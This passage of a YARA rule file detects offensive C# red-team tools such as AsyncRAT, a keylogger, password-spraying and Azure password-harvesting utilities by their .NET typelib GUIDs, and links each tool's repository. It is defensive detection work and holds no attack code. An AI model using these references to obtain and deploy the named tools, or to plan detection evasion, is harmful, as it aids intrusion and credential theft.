rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplogger : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5cce395b-4f6f-5015-b45e-7eb79853296a"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/SharpLogger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2121-L2134"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9f63dc6bf41b6a062e80b6726c86bbeb7db68e319a78d1bd0187eef234a1c090"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "36e00152-e073-4da8-aa0c-375b6dd680c4" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Asyncrat_C_Sharp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "858a079d-71e8-516e-a2a9-f0969edc758b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2136-L2159"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ac6319ecfbfc2ddb096b8674a9b494d9460181ebaa2b32ee337d46f6dd33f21d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "619b7612-dfea-442a-a927-d997f99c497b" ascii wide
		$typelibguid1lo = "424b81be-2fac-419f-b4bc-00ccbe38491f" ascii wide
		$typelibguid2lo = "37e20baf-3577-4cd9-bb39-18675854e255" ascii wide
		$typelibguid3lo = "dafe686a-461b-402b-bbd7-2a2f4c87c773" ascii wide
		$typelibguid4lo = "ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3" ascii wide
		$typelibguid5lo = "8bfc8ed2-71cc-49dc-9020-2c8199bc27b6" ascii wide
		$typelibguid6lo = "d640c36b-2c66-449b-a145-eb98322a67c8" ascii wide
		$typelibguid7lo = "8de42da3-be99-4e7e-a3d2-3f65e7c1abce" ascii wide
		$typelibguid8lo = "bee88186-769a-452c-9dd9-d0e0815d92bf" ascii wide
		$typelibguid9lo = "9042b543-13d1-42b3-a5b6-5cc9ad55e150" ascii wide
		$typelibguid10lo = "6aa4e392-aaaf-4408-b550-85863dd4baaf" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Darkfender : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0aea5e05-7788-5581-8bcc-d2e75a291dd9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/0xyg3n/DarkFender"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2161-L2174"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2afa4ff5719cb5b3a53b45a880e08e2cac6df8bb1ff053ee290ad6b025f9a6b5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "12fdf7ce-4a7c-41b6-9b32-766ddd299beb" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Minerdropper : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "607f72df-b0c1-53df-bf2c-592f55cbfcb7"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/DylanAlloy/MinerDropper"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2194-L2208"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a604745a0d95c54be0d1b183486aad0751aee825574500fbff6380571565a18"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "46a7af83-1da7-40b2-9d86-6fd6223f6791" ascii wide
		$typelibguid1lo = "8433a693-f39d-451b-955b-31c3e7fa6825" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdomainspray : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cffd3350-4a86-5035-ab15-adbc3ac2a0e9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/HunnicCyber/SharpDomainSpray"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2210-L2223"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "da8a964691758e8179199b5725b0811a5b37de964f6a5fa01d6adac286bc544a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "76ffa92b-429b-4865-970d-4e7678ac34ea" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ispykeylogger : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8607de67-b472-5afc-b2b9-cc758b5ec474"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/mwsrc/iSpyKeylogger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2225-L2241"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0c0b0a8d53efc5e922f73eec7550e6927f19aaef950921fde95b7bd651adeec7"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ccc0a386-c4ce-42ef-aaea-b2af7eff4ad8" ascii wide
		$typelibguid1lo = "816b8b90-2975-46d3-aac9-3c45b26437fa" ascii wide
		$typelibguid2lo = "279b5533-d3ac-438f-ba89-3fe9de2da263" ascii wide
		$typelibguid3lo = "88d3dc02-2853-4bf0-b6dc-ad31f5135d26" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Solarflare : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3645e14c-6025-59fa-a5a2-d8dacba8cd94"
		date = "2020-12-15"
		modified = "2025-08-15"
		reference = "https://github.com/mubix/solarflare"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2243-L2256"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9968c4f65672e98ec1ced26e2344e9b12141e3ea7e58be650d077089c9f6bd1c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ca60e49e-eee9-409b-8d1a-d19f1d27b7e4" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Snaffler : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d4b9a8c5-e0d9-5c85-af81-05f6e0f52bff"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SnaffCon/Snaffler"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2258-L2272"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a99f8012e45bbc7b689c49d2f6b5e86918b3984ce211fc4b459b6297d75c233a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2aa060b4-de88-4d2a-a26a-760c1cefec3e" ascii wide
		$typelibguid1lo = "b118802d-2e46-4e41-aac7-9ee890268f8b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshares : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e96aa79b-1da2-5b0c-9ac2-b6e201e06ec6"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/SharpShares/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2274-L2287"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "09151f0ee360aaa74ebd0fe809ee45135705475a8559f78762ea80e261d173f3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fe9fdde5-3f38-4f14-8c64-c3328c215cf2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpedrchecker : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f7ff344e-f8ee-5c3a-bdd1-de3cae8e7dfb"
		date = "2020-12-18"
		modified = "2025-08-15"
		reference = "https://github.com/PwnDexter/SharpEDRChecker"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2289-L2302"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9a5a192bb5aedf801465760fd362e0917c7a68c97058c82d0954ce44d3632c43"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bdfee233-3fed-42e5-aa64-492eb2ac7047" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcliphistory : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "89ca4717-a4ec-5371-8dc3-bdb9933384af"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/FSecureLABS/SharpClipHistory"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2304-L2317"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "18558f9c446847d2021c3f2a99315c490fc26b1c585dd8a7a0ba4470be8d1e45"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1126d5b4-efc7-4b33-a594-b963f107fe82" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpo_Remoteaccesspolicies : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "642c2672-2327-5a4a-af91-6e0559996908"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2319-L2332"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e2e3168f733ce8a3e6129e4f2faa6a90a47f6cfc683c840032c0323170720a1b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fbb1abcf-2b06-47a0-9311-17ba3d0f2a50" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Absinthe : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8f25593b-b9d2-5807-b299-b039ecfd43a5"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/cameronhotchkies/Absinthe"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2334-L2347"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "54040db5bdcfc711a26401d082693471c3f98fc043a550d1253f72a2d2611ae4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9936ae73-fb4e-4c5e-a5fb-f8aaeb3b9bd6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Exploitremotingservice : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2f0b9635-2b2e-5825-baeb-69d7ae3791b1"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/tyranid/ExploitRemotingService"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2349-L2364"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b22513722be15f582d06c23fb6db53722c0edf2f89f17e28ca067f431ffd4616"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fd17ae38-2fd3-405f-b85b-e9d14e8e8261" ascii wide
		$typelibguid1lo = "1850b9bb-4a23-4d74-96b8-58f274674566" ascii wide
		$typelibguid2lo = "297cbca1-efa3-4f2a-8d5f-e1faf02ba587" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Xploit : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "11ba6c14-06b6-5d9f-ac69-08ae506877e7"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/shargon/Xploit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2366-L2389"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0b622acce9ff8186266c69d4ca097902027f5ca652408bfa4ec36fa145e14737"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4545cfde-9ee5-4f1b-b966-d128af0b9a6e" ascii wide
		$typelibguid1lo = "33849d2b-3be8-41e8-a1e2-614c94c4533c" ascii wide
		$typelibguid2lo = "c2dc73cc-a959-4965-8499-a9e1720e594b" ascii wide
		$typelibguid3lo = "77059fa1-4b7d-4406-bc1a-cb261086f915" ascii wide
		$typelibguid4lo = "a4a04c4d-5490-4309-9c90-351e5e5fd6d1" ascii wide
		$typelibguid5lo = "ca64f918-3296-4b7d-9ce6-b98389896765" ascii wide
		$typelibguid6lo = "10fe32a0-d791-47b2-8530-0b19d91434f7" ascii wide
		$typelibguid7lo = "679bba57-3063-4f17-b491-4f0a730d6b02" ascii wide
		$typelibguid8lo = "0981e164-5930-4ba0-983c-1cf679e5033f" ascii wide
		$typelibguid9lo = "2a844ca2-5d6c-45b5-963b-7dca1140e16f" ascii wide
		$typelibguid10lo = "7d75ca11-8745-4382-b3eb-c41416dbc48c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Poc : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5669bc1a-b32e-5ae7-bf94-8ed2a124c765"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/thezdi/PoC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2391-L2404"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f3001a60ce4b6415de2cb035ab56023cd2ee5f4c73e745d87409e5fef1fc9e8a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "89f9d411-e273-41bb-8711-209fd251ca88" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpoabuse : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ea27044f-69be-5db7-8d77-28dafb18c7e5"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/FSecureLABS/SharpGPOAbuse"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2406-L2419"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "683be1b4cee3ba705146f62cdc36c99ce5e4711cd38aec8103584321afd934f1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4f495784-b443-4838-9fa6-9149293af785" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Watson : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "6dc7bb08-0b34-50a0-8ae8-02d96d66a334"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/Watson"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2421-L2434"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0fa1d96e9c9fdd612f092dbdcde980956cf4bf24b384991d77737af43637bb34"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "49ad5f38-9e37-4967-9e84-fe19c7434ed7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Standin : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2af3c28a-ce5d-5dea-9abe-ff54b180049e"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/FuzzySecurity/StandIn"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2436-L2449"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "db008e841cef47916e06167661b3825d1272357a347f522ccea25cc887438480"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "01c142ba-7af1-48d6-b185-81147a2f7db7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Azure_Password_Harvesting : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "681cf9da-d664-5402-b7ac-eb2cfad85da9"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/guardicore/azure_password_harvesting"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2451-L2464"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eac946e4110f9e7fdcc69ca562ed37a5e77216a325ccd11e29ec7348c2dd12d4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7ad1ff2d-32ac-4c54-b615-9bb164160dac" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Powerops : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3ef9f099-13c9-5b6f-8615-232240530078"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/fdiskyou/PowerOPS"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2466-L2479"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7afb5a5c5eaaba574f31d2041ec2e23f969508bac76aeb58a98714b06b8e6ae7"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2a3c5921-7442-42c3-8cb9-24f21d0b2414" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Random_Csharptools : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ad8b5573-ad20-50cd-927b-a6401b10e653"
		date = "2020-12-21"
		modified = "2025-08-15"
		reference = "https://github.com/xorrior/Random-CSharpTools"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2481-L2500"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "633cfdc2f1950f36474e15cb186fc4673e7cbc9417fdbee61409b14be94bc6cb"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f7fc19da-67a3-437d-b3b0-2a257f77a00b" ascii wide
		$typelibguid1lo = "47e85bb6-9138-4374-8092-0aeb301fe64b" ascii wide
		$typelibguid2lo = "c7d854d8-4e3a-43a6-872f-e0710e5943f7" ascii wide
		$typelibguid3lo = "d6685430-8d8d-4e2e-b202-de14efa25211" ascii wide
		$typelibguid4lo = "1df925fc-9a89-4170-b763-1c735430b7d0" ascii wide
		$typelibguid5lo = "817cc61b-8471-4c1e-b5d6-c754fc550a03" ascii wide
		$typelibguid6lo = "60116613-c74e-41b9-b80e-35e02f25891e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_0668 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "54c87578-f0f1-5108-a736-b6acd9624d29"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/RedCursorSecurityConsulting/CVE-2020-0668"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2502-L2515"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ac81e20fa9e5a4f701172d3e68c016b33e5cbda6053505d46f761337fb374161"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1b4c5ec1-2845-40fd-a173-62c450f12ea5" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsrpcclients : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "70fd7431-8c32-52a4-be9f-2a19ef77f2cc"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/tyranid/WindowsRpcClients"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2517-L2536"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2e99c98514bde102450b119cda3cc3c20d7680de5ccbbf64124b719fb8333e8d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "843d8862-42eb-49ee-94e6-bca798dd33ea" ascii wide
		$typelibguid1lo = "632e4c3b-3013-46fc-bc6e-22828bf629e3" ascii wide
